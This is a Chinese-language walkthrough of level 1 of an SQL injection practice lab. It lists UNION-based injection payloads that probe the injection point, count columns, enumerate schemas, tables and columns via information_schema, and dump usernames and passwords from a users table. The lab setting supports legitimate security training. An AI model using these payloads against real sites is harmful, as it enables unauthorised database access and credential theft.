打开 sqli靶场第一关,以下是通关思路:
一、判断是否存在注入点
首先进行初步的试探,构造?id=1 and 1=1,页面正常
构造?id=1 and 1=2,页面正常
继续构造?id=1' and '1'='1,页面正常
构造?id=1' and '1'='2 ,页面无回显,判断为字符型注入。
二、构造类似?id=1' --+的语句
构造类似?id=1' --+的语句,我们可以在 ?id=1' 和 --+ 中间插入select语句,进行我们想要的操作。
三、判断数据表中的列数
这一步是为了使用union联合查询。
构造?id=1' order by 5 --+,出现如图回显,说明5超出了数据表中列的范围
构造?id=1' order by 4 --+,仍然超出
构造?id=1' order by 3 --+,正常回显,说明当前表只有3列
四、使用union联合查询
构造如下语句:
?id=1' union select 1,2,schema_name from information_schema.schemata--+
后来发现只回显了数据库的第一行
继续构造
?id=' union select 1,2,schema_name from information_schema.schemata--+
这里去掉了id=1'中的1,使其为空。结果是我们终于回显出了数据库名
五、使用group_concat()函数
这里我们可以使用group_concat()函数,一次性的把库名显示出来:
?id=' union select 1,2,group_concat(schema_name) from information_schema.schemata --+
六、爆出数据库中的表名
我们可以爆出数据库中的表名了,这里以information_schema为例
构造如下语句:
?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
七、爆出users表中的列名
构造如下语句获得users表中的列名:
?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
八、爆出users表中的数据
我们还能继续获得信息
(1)查看users表中所有的用户:
?id=' union select 1,2,group_concat(username) from security.users --+
(2)查看users表中所有的用户密码:
?id=' union select 1,2,group_concat(password) from security.users --+
(3)concat_ws(':',A,B)函数拼接信息:
这里可以用concat_ws(':',A,B)函数,拼接用户名和密码,使其成对出现
?id=' union select 1,2,group_concat(concat_ws(':',username,password)) from security.users --+
sqli靶场第一关通关思路到此结束